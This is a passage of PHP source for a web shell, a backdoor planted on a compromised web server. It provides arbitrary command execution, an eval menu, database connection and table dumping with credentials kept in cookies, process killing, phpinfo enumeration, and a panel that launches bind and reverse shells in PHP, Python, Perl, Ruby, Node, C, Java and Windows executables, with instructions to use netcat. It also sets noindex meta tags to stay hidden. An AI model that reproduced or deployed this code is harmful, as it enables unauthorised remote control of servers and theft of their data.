				$s_i_buff = preg_replace("/\ +/", " ", $s_i_buff);
				$s_result .= "<p class='notif' onclick=\"toggle('info_part')\">Partitions Info</p>";
				$s_result .= "<div class='info' id='info_part'>";
				$s_i_buffs = explode("

", $s_i_buff);
				$s_result .= "<table><tr>";
				$s_i_head = explode(" ", $s_i_buffs[0]);
				foreach($s_i_head as $s_h) $s_result .= "<th>".$s_h."</th>";
				$s_result .= "</tr>";
				$s_i_buffss = explode("
", $s_i_buffs[1]);
				foreach($s_i_buffss as $s_i_b){
					$s_i_row = explode(" ", trim($s_i_b));
					$s_result .= "<tr>";
					foreach($s_i_row as $s_r) $s_result .= "<td style='text-align:center;'>".$s_r."</td>";
					$s_result .= "</tr>";
				}
				$s_result .= "</table>";
				$s_result .= "</div>";
			}
		}
		$s_phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
		foreach($s_phpinfo as $s_p=>$s_i){
			$s_result .= "<p class='notif' onclick=\"toggle('".$s_i."')\">".$s_p."</p>";
			ob_start();
			eval("phpinfo(".$s_i.");");
			$s_b = ob_get_contents();
			ob_end_clean();
			if(preg_match("/<body>(.*?)<\/body>/is", $s_b, $r)){
				$s_body = str_replace(array(",", ";", "&amp;"), array(", ", "; ", "&"), $r[1]);
				$s_result .= "<div class='info' id='".$s_i."'>".$s_body."</div>";
			}
		}
	} // working with database
	elseif(isset($_GP['x']) && ($_GP['x']=='db')){
		// sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
		$s_sql = array();
		$s_sql_deleted = "";
		$s_show_form = $s_show_dbs = true;

		if(isset($_GP['dc'])){
			$k = $_GP['dc'];
			setcookie("c[".$k."]", "" ,time() - $s_login_time);
			$s_sql_deleted = $k;
		}

		if(isset($_COOKIE['c']) && !isset($_GP['connect'])){
			foreach($_COOKIE['c'] as $c=>$d){
				if($c==$s_sql_deleted) continue;
				$s_dbcon = (function_exists("json_encode") && function_exists("json_decode")) ? json_decode($d):unserialize($d);
				foreach($s_dbcon as $k=>$v) $s_sql[$k] = $v;
				$s_sqlport = (!empty($s_sql['port'])) ? ":".$s_sql['port']:"";
				$s_result .= notif("[".$s_sql['type']."] ".$s_sql['user']."@".$s_sql['host'].$s_sqlport."
							<span style='float:right;'><a href='".$s_self."x=db&connect=connect&sqlhost=".$s_sql['host']."&sqlport=".$s_sql['port']."&sqluser=".$s_sql['user']."&sqlpass=".$s_sql['pass']."&sqltype=".$s_sql['type']."'>connect</a> | <a href='".$s_self."x=db&dc=".$c."'>disconnect</a></span>");
			}
		}
		else{
			$s_sql['host'] = isset($_GP['sqlhost'])? $_GP['sqlhost'] : "";
			$s_sql['port'] = isset($_GP['sqlport'])? $_GP['sqlport'] : "";
			$s_sql['user'] = isset($_GP['sqluser'])? $_GP['sqluser'] : "";
			$s_sql['pass'] = isset($_GP['sqlpass'])? $_GP['sqlpass'] : "";
			$s_sql['type'] = isset($_GP['sqltype'])? $_GP['sqltype'] : "";
		}

		if(isset($_GP['connect'])){
			$s_con = sql_connect($s_sql['type'],$s_sql['host'],$s_sql['user'],$s_sql['pass']);
			$s_sqlcode = isset($_GP['sqlcode'])? $_GP['sqlcode'] : "";

			if($s_con!==false){
				if(isset($_GP['sqlinit'])){
					$s_sql_cookie = (function_exists("json_encode") && function_exists("json_decode"))? json_encode($s_sql):serialize($s_sql);
					$s_c_num = substr(md5(time().rand(0,100)),0,3);
					while(isset($_COOKIE['c']) && is_array($_COOKIE['c']) && array_key_exists($s_c_num, $_COOKIE['c'])){
						$s_c_num = substr(md5(time().rand(0,100)),0,3);
					}
					setcookie("c[".$s_c_num."]", $s_sql_cookie ,time() + $s_login_time);
				}
				$s_show_form = false;
				$s_result .= "<form action='".$s_self."' method='post'>
					<input type='hidden' name='sqlhost' value='".$s_sql['host']."' />
					<input type='hidden' name='sqlport' value='".$s_sql['port']."' />
					<input type='hidden' name='sqluser' value='".$s_sql['user']."' />
					<input type='hidden' name='sqlpass' value='".$s_sql['pass']."' />
					<input type='hidden' name='sqltype' value='".$s_sql['type']."' />
					<input type='hidden' name='x' value='db' />
					<input type='hidden' name='connect' value='connect' />
					<textarea id='sqlcode' name='sqlcode' class='txtarea' style='height:150px;'>".hss($s_sqlcode)."</textarea>
					<p><input type='submit' name='gogo' class='inputzbut' value='Go !' style='width:120px;height:30px;' />
					&nbsp;&nbsp;Separate multiple commands with a semicolon  <span class='gaya'>[</span> ; <span class='gaya'>]</span></p>
					</form>";

				if(!empty($s_sqlcode)){
					$s_querys = explode(";",$s_sqlcode);
					foreach($s_querys as $s_query){
						if(trim($s_query) != ""){
							$s_hasil = sql_query($s_sql['type'],$s_query,$s_con);
							if($s_hasil!=false){
								$s_result .= "<hr /><p style='padding:0;margin:6px 10px;font-weight:bold;'>".hss($s_query).";&nbsp;&nbsp;&nbsp;
								<span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";

								if(!is_bool($s_hasil)){
									$s_result .= "<table class='explore sortable' style='width:100%;'><tr>";
									for($s_i = 0; $s_i<sql_num_fields($s_sql['type'],$s_hasil); $s_i++)
										$s_result .= "<th>".@hss(sql_field_name($s_sql['type'],$s_hasil,$s_i))."</th>";
									$s_result .= "</tr>";
									while($s_rows=sql_fetch_data($s_sql['type'],$s_hasil)){
										$s_result .= "<tr>";
										foreach($s_rows as $s_r){
											if(empty($s_r)) $s_r = " ";
											$s_result .= "<td>".@hss($s_r)."</td>";
										}
										$s_result .= "</tr>";
									}
									$s_result .= "</table>";
								}
							}
							else{
								$s_result .= "<p style='padding:0;margin:6px 10px;font-weight:bold;'>".hss($s_query).";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> error <span class='gaya'>]</span></p>";
							}
						}
					}
				}
				else{
					if(($s_sql['type']!='pdo') && ($s_sql['type']!='odbc')){
						if($s_sql['type']=='mysql') $s_showdb = "SHOW DATABASES";
						elseif($s_sql['type']=='mssql') $s_showdb = "SELECT name FROM master..sysdatabases";
						elseif($s_sql['type']=='pgsql') $s_showdb = "SELECT schema_name FROM information_schema.schemata";
						elseif($s_sql['type']=='oracle') $s_showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
						elseif($s_sql['type']=='sqlite3' || $s_sql['type']=='sqlite') $s_showdb = "SELECT \"".$s_sql['host']."\"";
						else $s_showdb = "SHOW DATABASES";

						$s_hasil = sql_query($s_sql['type'],$s_showdb,$s_con);

						if($s_hasil!=false) {
							while($s_rows_arr=sql_fetch_data($s_sql['type'],$s_hasil)){
								foreach($s_rows_arr as $s_rows){
									$s_result .= "<p class='notif' onclick=\"toggle('db_".$s_rows."')\">".$s_rows."</p>";
									$s_result .= "<div class='info' id='db_".$s_rows."'><table class='explore'>";

									if($s_sql['type']=='mysql') $s_showtbl = "SHOW TABLES FROM ".$s_rows;
									elseif($s_sql['type']=='mssql') $s_showtbl = "SELECT name FROM ".$s_rows."..sysobjects WHERE xtype = 'U'";
									elseif($s_sql['type']=='pgsql') $s_showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$s_rows."'";
									elseif($s_sql['type']=='oracle') $s_showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$s_rows."'";
									elseif($s_sql['type']=='sqlite3' || $s_sql['type']=='sqlite') $s_showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
									else $s_showtbl = "";

									$s_hasil_t = sql_query($s_sql['type'],$s_showtbl,$s_con);
									if($s_hasil_t!=false) {
										while($s_tables_arr=sql_fetch_data($s_sql['type'],$s_hasil_t)){
											foreach($s_tables_arr as $s_tables){
												if($s_sql['type']=='mysql') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 0,100";
												elseif($s_sql['type']=='mssql') $s_dump_tbl = "SELECT TOP 100 * FROM ".$s_rows."..".$s_tables;
												elseif($s_sql['type']=='pgsql') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 100 OFFSET 0";
												elseif($s_sql['type']=='oracle') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." WHERE ROWNUM BETWEEN 0 AND 100;";
												elseif($s_sql['type']=='sqlite' || $s_sql['type']=='sqlite3') $s_dump_tbl = "SELECT * FROM ".$s_tables." LIMIT 0,100";
												else $s_dump_tbl = "";

												$s_dump_tbl_link = $s_self."x=db&connect=&sqlhost=".$s_sql['host']."&sqlport=".$s_sql['port']."&sqluser=".$s_sql['user']."&sqlpass=".$s_sql['pass']."&sqltype=".$s_sql['type']."&sqlcode=".$s_dump_tbl;

												$s_result .= "<tr><td ondblclick=\"return go('".adds($s_dump_tbl_link)."',event);\"><a href='".$s_dump_tbl_link."'>".$s_tables."</a></td></tr>";
											}
										}
									}
									$s_result .= "</table></div>";
								}
							}
						}
					}
				}
				sql_close($s_sql['type'],$s_con);
			}
			else{
				$s_result .= notif("Unable to connect to database");
				$s_show_form = true;
			}
		}

		if($s_show_form){
			// sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
			$s_sqllist = array();
			if(function_exists("mysql_connect")) $s_sqllist["mysql"] = "connect to MySQL <span class='desc' style='font-size:12px;'>- using mysql_*</span>";
			if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $s_sqllist["mssql"] = "connect to MsSQL <span class='desc' style='font-size:12px;'>- using mssql_* or sqlsrv_*</span>";
			if(function_exists("pg_connect")) $s_sqllist["pgsql"] = "connect to PostgreSQL <span class='desc' style='font-size:12px;'>- using pg_*</span>";
			if(function_exists("oci_connect")) $s_sqllist["oracle"] = "connect to oracle <span class='desc' style='font-size:12px;'>- using oci_*</span>";
			if(function_exists("sqlite_open")) $s_sqllist["sqlite"] = "connect to SQLite <span class='desc' style='font-size:12px;'>- using sqlite_*</span>";
			if(class_exists("SQLite3")) $s_sqllist["sqlite3"] = "connect to SQLite3 <span class='desc' style='font-size:12px;'>- using class SQLite3</span>";
			if(function_exists("odbc_connect")) $s_sqllist["odbc"] = "connect via ODBC <span class='desc' style='font-size:12px;'>- using odbc_*</span>";
			if(class_exists("PDO")) $s_sqllist["pdo"] = "connect via PDO <span class='desc' style='font-size:12px;'>- using class PDO</span>";

			foreach($s_sqllist as $s_sql['type']=>$s_sqltitle){
				if($s_sql['type']=="odbc" || $s_sql['type']=="pdo"){
					$s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
					<form action='".$s_self."' method='post' />
					<table class='myboxtbl'>
					<tr><td style='width:170px;'>DSN / Connection String</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
					<tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
					<tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
					</table>
					<input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
					<input type='hidden' name='sqltype' value='".$s_sql['type']."' />
					<input type='hidden' name='sqlinit' value='init' />
					<input type='hidden' name='x' value='db' />
					</form>
					</div>";
				}
				elseif($s_sql['type']=="sqlite" || $s_sql['type']=="sqlite3"){
					$s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
					<form action='".$s_self."' method='post' />
					<table class='myboxtbl'>
					<tr><td style='width:170px;'>DB File</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
					</table>
					<input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
					<input type='hidden' name='sqltype' value='".$s_sql['type']."' />
					<input type='hidden' name='sqlinit' value='init' />
					<input type='hidden' name='x' value='db' />
					</form>
					</div>";
				}
				else{
					$s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
					<form action='".$s_self."' method='post' />
					<table class='myboxtbl'>
					<tr><td style='width:170px;'>Host</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
					<tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
					<tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
					<tr><td>Port (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='sqlport' value='' /></td></tr>
					</table>
					<input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
					<input type='hidden' name='sqltype' value='".$s_sql['type']."' />
					<input type='hidden' name='sqlinit' value='init' />
					<input type='hidden' name='x' value='db' />
					</form>
					</div>";
				}
			}
		}
	} // bind and reverse shell
	elseif(isset($_GP['x']) && ($_GP['x']=='rs')){
		// resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php
		$s_rshost = $s_server_ip;

		$s_rsport = "13123"; // default port
		$s_rspesana = "Press &#39;  Go !  &#39; button and run &#39;  nc <i>server_ip</i> <i>port</i>  &#39; on your computer";
		$s_rspesanb = "Run &#39;  nc -l -v -p <i>port</i>  &#39; on your computer and press &#39;  Go !  &#39; button";
		$s_rs_err = "";

		$s_rsbind = $s_rsback = array();

		$s_rsbind["bind_php"] = "Bind Shell <span class='desc' style='font-size:12px;'>- php</span>";
		$s_rsback["back_php"] = "Reverse Shell <span class='desc' style='font-size:12px;'>- php</span>";

		$s_access = array("s_python"=>"py", "s_perl"=>"pl", "s_ruby"=>"rb", "s_node"=>"js", "s_gcc"=>"c", "s_java"=>"java");
		foreach($s_access as $k=>$v){
			if(isset($$k)){
				$s_t = explode("_", $k);
				$s_rsbind["bind_".$v] = "Bind Shell <span class='desc' style='font-size:12px;'>- ".$s_t[1]."</span>";
				$s_rsback["back_".$v] = "Reverse Shell <span class='desc' style='font-size:12px;'>- ".$s_t[1]."</span>";
			}
		}

		if($s_win){
			$s_rsbind["bind_win"] = "Bind Shell <span class='desc' style='font-size:12px;'>- windows executable</span>";
			$s_rsback["back_win"] = "Reverse Shell <span class='desc' style='font-size:12px;'>- windows executable</span>";
		}
		$s_rslist = array_merge($s_rsbind,$s_rsback);

		if(!@is_writable($s_cwd)) $s_result .= notif("Directory ".$s_cwd." is not writable, please change to a writable one");

		foreach($s_rslist as $s_rstype=>$s_rstitle){
			$s_split = explode("_",$s_rstype);
			if($s_split[0]=="bind"){
				$s_rspesan = $s_rspesana;
				$s_rsdisabled = "disabled='disabled'";
				$s_rstarget = $s_server_ip;
				$s_labelip = "Server IP";
			}
			elseif($s_split[0]=="back"){
				$s_rspesan = $s_rspesanb;
				$s_rsdisabled = "";
				$s_rstarget = $s_my_ip;
				$s_labelip = "Target IP";
			}

			if(isset($_GP[$s_rstype])){
				if(isset($_GP["rshost_".$s_rstype])) $s_rshost_ = $_GP["rshost_".$s_rstype];
				if(isset($_GP["rsport_".$s_rstype])) $s_rsport_ = $_GP["rsport_".$s_rstype];

				if($s_split[0]=="bind") $s_rstarget_packed = $s_rsport_;
				elseif($s_split[0]=="back") $s_rstarget_packed = $s_rsport_." ".$s_rshost_;

				if($s_split[1]=="pl") $s_rscode = $s_rs_pl;
				elseif($s_split[1]=="py") $s_rscode = $s_rs_py;
				elseif($s_split[1]=="rb") $s_rscode = $s_rs_rb;
				elseif($s_split[1]=="js") $s_rscode = $s_rs_js;
				elseif($s_split[1]=="c") $s_rscode = $s_rs_c;
				elseif($s_split[1]=="java") $s_rscode = $s_rs_java;
				elseif($s_split[1]=="win") $s_rscode = $s_rs_win;
				elseif($s_split[1]=="php") $s_rscode = $s_rs_php;

				$s_buff = rs($s_rstype,$s_rstarget_packed,$s_rscode);
				if($s_buff!="") $s_rs_err = notif(hss($s_buff));
			}
			$s_result .= "<div class='mybox'><h2>".$s_rstitle."</h2>
			<form action='".$s_self."' method='post' />
			<table class='myboxtbl'>
			<tr><td style='width:100px;'>".$s_labelip."</td><td><input ".$s_rsdisabled." style='width:100%;' class='inputz' type='text' name='rshost_".$s_rstype."' value='".$s_rstarget."' /></td></tr>
			<tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='rsport_".$s_rstype."' value='".$s_rsport."' /></td></tr>
			</table>
			<input type='submit' name='".$s_rstype."' class='inputzbut' value='Go !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
			&nbsp;&nbsp;<span>".$s_rspesan."</span>
			<input type='hidden' name='x' value='rs' />
			</form>
			</div>";
		}
		$s_result = $s_rs_err.$s_result;
	} // task manager
	elseif(isset($_GP['x']) && ($_GP['x']=='ps')){
		$s_buff = "";
		// kill process specified by pid
		if(isset($_GP['pid'])){
			$s_p = trim($_GP['pid'],"|");
			$s_parr = explode("|", $s_p);

			foreach($s_parr as $s_p){
				if(function_exists("posix_kill")) $s_buff .= (posix_kill($s_p,'9'))? notif("Process with pid ".$s_p." has been successfully killed"):notif("Unable to kill process with pid ".$s_p);
				else{
					if(!$s_win) $s_buff .= notif(exe("kill -9 ".$s_p));
					else $s_buff .= notif(exe("taskkill /F /PID ".$s_p));
				}
			}
		}

		if(!$s_win) $s_h = "ps aux"; // nix
		else $s_h = "tasklist /V /FO csv"; // win
		$s_wcount = 11;
		$s_wexplode = " ";
		if($s_win) $s_wexplode = "\",\"";

		$s_res = exe($s_h);
		if(trim($s_res)=='') $s_result = notif("Error getting process list");
		else{
			if($s_buff!="") $s_result = $s_buff;
			$s_result .= "<table class='explore sortable'>";
			if(!$s_win) $s_res = preg_replace('#\ +#',' ',$s_res);

			$s_psarr = explode("
",$s_res);
			$s_fi = true;
			$s_tblcount = 0;

			$s_check = explode($s_wexplode,$s_psarr[0]);
			$s_wcount = count($s_check);

			foreach($s_psarr as $s_psa){
				if(trim($s_psa)!=''){
					if($s_fi){
						$s_fi = false;
						$s_psln = explode($s_wexplode, $s_psa, $s_wcount);
						$s_result .= "<tr><th style='width:24px;' class='sorttable_nosort'></th><th class='sorttable_nosort'>action</th>";
						foreach($s_psln as $s_p) $s_result .= "<th>".trim(trim(strtolower($s_p)) ,"\"")."</th>";
						$s_result .= "</tr>";
					}
					else{
						$s_psln = explode($s_wexplode, $s_psa, $s_wcount);
						$s_result .= "<tr>";
						$s_tblcount = 0;
						foreach($s_psln as $s_p){
							$s_pid = trim(trim($s_psln[1]),"\"");
							if(trim($s_p)=="") $s_p = "&nbsp;";
							if($s_tblcount == 0){
								$s_result .= "<td style='text-align:center;text-indent:4px;'><input id='".md5($s_pid)."' name='cbox' value='".$s_pid."' type='checkbox' class='css-checkbox' onchange='hilite(this);' /><label for='".md5($s_pid)."' class='css-label'></label></td><td style='text-align:center;'><a href='".$s_self."x=ps&pid=".$s_pid."'>kill</a></td>
										<td style='text-align:center;'>".trim(trim($s_p) ,"\"")."</td>";
								$s_tblcount++;
							}
							else{
								$s_tblcount++;
								if($s_tblcount == count($s_psln)) $s_result .= "<td style='text-align:left;'>".trim(trim($s_p) ,"\"")."</td>";
								else $s_result .= "<td style='text-align:center;'>".trim(trim($s_p) ,"\"")."</td>";
							}
						}
						$s_result .= "</tr>";
					}
				}
			}
			$colspan = count($s_psln)+1;
			$s_result .= "<tfoot><tr class='cbox_selected'><td class='cbox_all'>
			<form action='".$s_self."' method='post'><input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /><label for='checkalll' class='css-label'></label></form>
			</td><td style='text-indent:10px;padding:2px;' colspan=".$colspan."><a href='javascript: pkill();'>kill selected <span id='total_selected'></span></a></td>
			</tr></tfoot></table>";
		}
	}
	else{
		if(!isset($s_cwd)) $s_cwd = "";
		if(isset($_GP['cmd'])){
			$s_cmd = $_GP['cmd'];
			if(strlen($s_cmd) > 0){
				if(preg_match('#^cd(\ )+(.*)#',$s_cmd,$s_r)){
					$s_nd = trim($s_r[2]);
					if(@is_dir($s_nd)){
						chdir($s_nd);
						$s_cwd = cp(getcwd());
						setcookie("cwd", $s_cwd ,time() + $s_login_time);
						$s_result .= showdir($s_cwd);
					}
					elseif(@is_dir($s_cwd.$s_nd)){
						chdir($s_cwd.$s_nd);
						$s_cwd = cp(getcwd());
						setcookie("cwd", $s_cwd ,time() + $s_login_time);
						$s_result .= showdir($s_cwd);
					}
					else $s_result .= notif($s_nd." is not a directory");
				}
				else{
					$s_r = hss(exe($s_cmd));
					if($s_r != '') $s_result .= "<pre>".$s_r."</pre>";
					else $s_result .= showdir($s_cwd);
				}
			}
			else $s_result .= showdir($s_cwd);
		}
		else $s_result .= showdir($s_cwd);
	}

	// find drive letters
	$s_letters = '';
	$s_v = explode("\",$s_cwd);
	$s_v = $s_v[0];
	foreach (range("A", "Z") as $s_letter){
		if(@is_readable($s_letter.":\")){
			$s_letters .= "<a href='".$s_self."cd=".$s_letter.":\'>[ ";
			if($s_letter.":" != $s_v) $s_letters .= $s_letter;
			else{$s_letters .= "<span class='drive-letter'>".$s_letter."</span>";}
			$s_letters .= " ]</a> ";
		}
	}

	// print useful info
	$s_info  = "<table class='headtbl'><tr><td>".$s_system."</td></tr><tr><td>".$s_software."</td></tr><tr><td>Server name : ".$s_server_name."<span class='gaya'> | </span>Server ip : ".$s_server_ip."<span class='gaya'> | </span>Your ip : ".$s_my_ip."<span class='gaya'> | </span> Time @ Server : ".@date("Y-m-d H:i:s",time())."</td></tr><tr><td style='text-align:left;'><table class='headtbls'><tr><td>".trim($s_letters)."</td><td><span id='chpwd'>&nbsp;<a href=\"javascript:tukar_('chpwd','chpwdform')\"><font face='webdings' size='5'>!</font></a>&nbsp;".swd($s_cwd)."</span><form action='".$s_self."' method='post' style='margin:0;padding:0;'><span class='sembunyi' id='chpwdform'>&nbsp;<a href=\"javascript:tukar_('chpwdform','chpwd');\"><font face='webdings' size='5'>!</font></a>&nbsp;<input type='text' name='view' class='inputz' style='width:300px;' value='".$s_cwd."' /><input class='inputzbut' type='submit' name='submit' value='view file / folder' /></span></form></td></tr></table></td></tr></table>";
}

$s_error = ob_get_contents();
if(!empty($s_error)) $s_result = notif($s_error).$s_result;
ob_end_clean();

?><!DOCTYPE html>
<html>
<head>
<title><?php echo $s_title; ?></title>
<meta name='robots' content='noindex, nofollow, noarchive'>
<meta http-equiv="Content-Type" content="text/html; charset=gbk" />
<link rel='shortcut icon' href='<?php echo $s_favicon; ?>'>
<link rel='stylesheet' type='text/css' href='http://fonts.googleapis.com/css?family=Ubuntu+Mono:400,700'>
<style type='text/css'>body{background:<?php echo $s_color[0]; ?>;font-family:Ubuntu Mono,serif;font-size:12px;color:<?php echo $s_color[1]; ?>;}img{border:none;}h1{margin:0;padding:0;}hr{border-bottom:1px dashed <?php echo $s_color[2]; ?>;}a{color:<?php echo $s_color[3]; ?>;text-decoration:none;}a:hover{color:<?php echo $s_color[1]; ?>;}pre{padding:0 8px;}form{display:inline;}table th,p{cursor:default;}code,pre,input,select,textarea,button,input:focus,select:focus,textarea:focus,button:focus{font-family:Ubuntu Mono,serif;outline:none;}#main{width:100%;background:<?php echo $s_color[4]; ?>;-moz-border-radius:10px;border-radius:10px;padding:2px 8px;}#menu{background:<?php echo $s_color[4]; ?>;margin:0 2px 4px;}#result{-moz-border-radius:10px;border-radius:10px;border:1px solid <?php echo $s_color[3]; ?>;line-height:16px;background:<?php echo $s_color[4]; ?>;color:<?php echo $s_color[5]; ?>;margin:0 0 8px;padding:4px 8px;}.headinfo{border-left:1px solid <?php echo $s_color[3]; ?>;margin:6px;padding:2px 0 0 16px;}.headtbls tr{height:24px;vertical-align:middle;}.gaya,.ver{color:<?php echo $s_color[3]; ?>;}.ver{-webkit-transform:rotate(-13.37deg);-moz-transform:rotate(-13.37deg);-ms-transform:rotate(-13.37deg);-o-transform:rotate(-13.37deg);transform:rotate(-13.37deg);letter-spacing:2px;}.menumi{background:<?php echo $s_color[6]; ?>;color:<?php echo $s_color[3]; ?>;text-decoration:none;letter-spacing:2px;font-size:12px;-webkit-transform:rotate(-13.37deg);-moz-transform:rotate(-13.37deg);-ms-transform:rotate(-13.37deg);-o-transform:rotate(-13.37deg);transform:rotate(-13.37deg);-moz-border-radius:4px;border-radius:4px;margin:0;padding:4px 8px;}.menumi:hover{background:<?php echo $s_color[7]; ?>;-webkit-transform:rotate(13.37deg);-moz-transform:rotate(13.37deg);-ms-transform:rotate(13.37deg);-o-transform:rotate(13.37deg);transform:rotate(13.37deg);}.inputz,.prompt,.txtarea{background:<?php echo $s_color[4]; ?>;border:0;border-bottom:1px solid <?php echo $s_color[7]; ?>;font-size:12px;color:<?php echo $s_color[1]; ?>;padding:2px;}.prompt{font-weight:700;}.txtarea{width:100%;height:370px;}.inputzbut{font-size:12px;background:<?php echo $s_color[8]; ?>;color:<?php echo $s_color[3]; ?>;border:1px solid <?php echo $s_color[2]; ?>;margin:0 4px;}.but{float:left;width:16px;height:16px;background:<?php echo $s_color[3]; ?>;font-size:20px;color:<?php echo $s_color[0]; ?>;margin:0 4px 0 0;border-radius:50%;text-align:center;padding:0;line-height:12px;cursor:default}.explore{width:100%;padding:4px 0;}.explore a{text-decoration:none;}.explore td{line-height:24px;border-bottom:1px solid <?php echo $s_color[2]; ?>;padding:0 8px;vertical-align:top;}.explore th{font-weight:700;background:<?php echo $s_color[2]; ?>;padding:6px 8px;}.explore tr:hover{background:<?php echo $s_color[8]; ?>;}.explorelist:hover a{color:<?php echo $s_color[1]; ?>;}.sembunyi{display:none;margin:0;padding:0;}.info table{width:100%;border-radius:6px;border:1px solid <?php echo $s_color[3]; ?>;margin:4px 0;padding:8px;}.info th,th{background:<?php echo $s_color[8]; ?>;font-weight:700;}.info td{border-bottom:1px solid <?php echo $s_color[2]; ?>;}.info h2{text-align:center;font-size:15px;background:<?php echo $s_color[8]; ?>;letter-spacing:6px;border-radius:6px;border-bottom:1px solid <?php echo $s_color[3]; ?>;margin:4px 0 8px;padding:10px;}.info a{color:<?php echo $s_color[10]; ?>;}.viewfile{width:100%;border-bottom:1px solid <?php echo $s_color[2]; ?>;margin:0 0 4px;}.viewfile td{border-bottom:1px solid <?php echo $s_color[2]; ?>;background:<?php echo $s_color[8]; ?>;height:24px;padding:2px 4px;}.viewfilecontent{padding:11px 8px;}.mybox{-moz-border-radius:10px;border-radius:10px;border:1px solid <?php echo $s_color[3]; ?>;margin:4px 0 8px;padding:14px 8px;}.mybox h2{border-bottom:1px solid <?php echo $s_color[9]; ?>;color:<?php echo $s_color[3]; ?>;margin:0;padding:0 0 8px;}.notif{background:<?php echo $s_color[3]; ?>;color:<?php echo $s_color[0]; ?>;border-radius:6px;font-weight:700;margin:3px 0;padding:4px 8px 2px;}.notif a{color:<?php echo $s_color[0]; ?>;}.footer{text-align:right;font-size:10px;letter-spacing:2px;color:<?php echo $s_color[2]; ?>;padding:0 16px;}.headtbl,.myboxtbl{width:100%;}input[type=checkbox].css-checkbox + label.css-label{padding-left:20px;height:15px;display:inline-block;line-height:15px;background-repeat:no-repeat;background-position:0 0;vertical-align:middle;cursor:pointer;}input[type=checkbox].css-checkbox:checked + label.css-label{background-position:0 -15px;}.info,.info h1,.info hr,input[type=checkbox].css-checkbox{display:none;}.css-label{background-image:url(<?php echo $s_checkbox; ?>);}.drive-letter{color:<?php echo $s_color[1]; ?>;}.desc{color:<?php echo $s_color[11]; ?>;}.cbox_selected{background-color:<?php echo $s_color[12]; ?>;}.cbox_all{text-align:center;text-indent:4px;}.schemabox{background-color:<?php echo $s_color[3]; ?>;border-radius:2px;}.border-bottom{border-bottom:1px solid <?php echo $s_color[7]; ?>;}.border-top{border-top:1px solid <?php echo $s_color[7]; ?>;}#navigation{position:fixed;left:-16px;top:46%;}#totop,#tobottom{background:url(<?php echo $s_arrow; ?>);width:32px;height:32px;opacity:0.30;margin:12px 0;}#totop:hover,#tobottom:hover{opacity:0.80;}#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}</style>
</head>
<body>
<table id='main'><tr><td>
<?php if($s_auth){?>
	<div><span style='float:right;'><a href='<?php echo $s_self; ?>x=logout' title='Click me to log out'>log out</a>  <a href='<?php echo $s_self; ?>x=switch' title='Click me to change theme'><span class='schemabox'>&nbsp;&nbsp;</span></a></span><table id='header'><tr><td style='width:80px;'><table><tr><td><h1><a href='<?php echo $s_self."cd=".cp(dirname(realpath($_SERVER['SCRIPT_FILENAME']))); ?>'><img src='<?php echo $s_favicon; ?>' alt='<?php echo $s_title; ?>'></a></h1></td></tr><tr><td style='text-align:right;'><div class='ver'><?php echo $s_title; ?></div></td></tr></table></td><td><div class='headinfo'><?php echo $s_info; ?></div></td></tr></table></div>
	<div style='margin:5px 0;clear:both;'></div>
	<form method='post' name='g'></form>
	<div id='menu'>
		<table style='width:100%;'><tr>
		<td><a href='<?php echo $s_self; ?>' title='Explorer'><div class='menumi'>xpl</div></a></td>
		<td><a href='<?php echo $s_self; ?>x=ps' title='Display process status'><div class='menumi'>ps</div></a></td>
		<td><a href='<?php echo $s_self; ?>x=eval' title='Execute code'><div class='menumi'>eval</div></a></td>
		<td><a href='<?php echo $s_self; ?>x=info' title='Information about server'><div class='menumi'>info</div></a></td>
		<td><a href='<?php echo $s_self; ?>x=db' title='Connect to database'><div class='menumi'>db</div></a></td>
		<td><a href='<?php echo $s_self; ?>x=rs' title='Remote Shell'><div class='menumi'>rs</div></a></td>
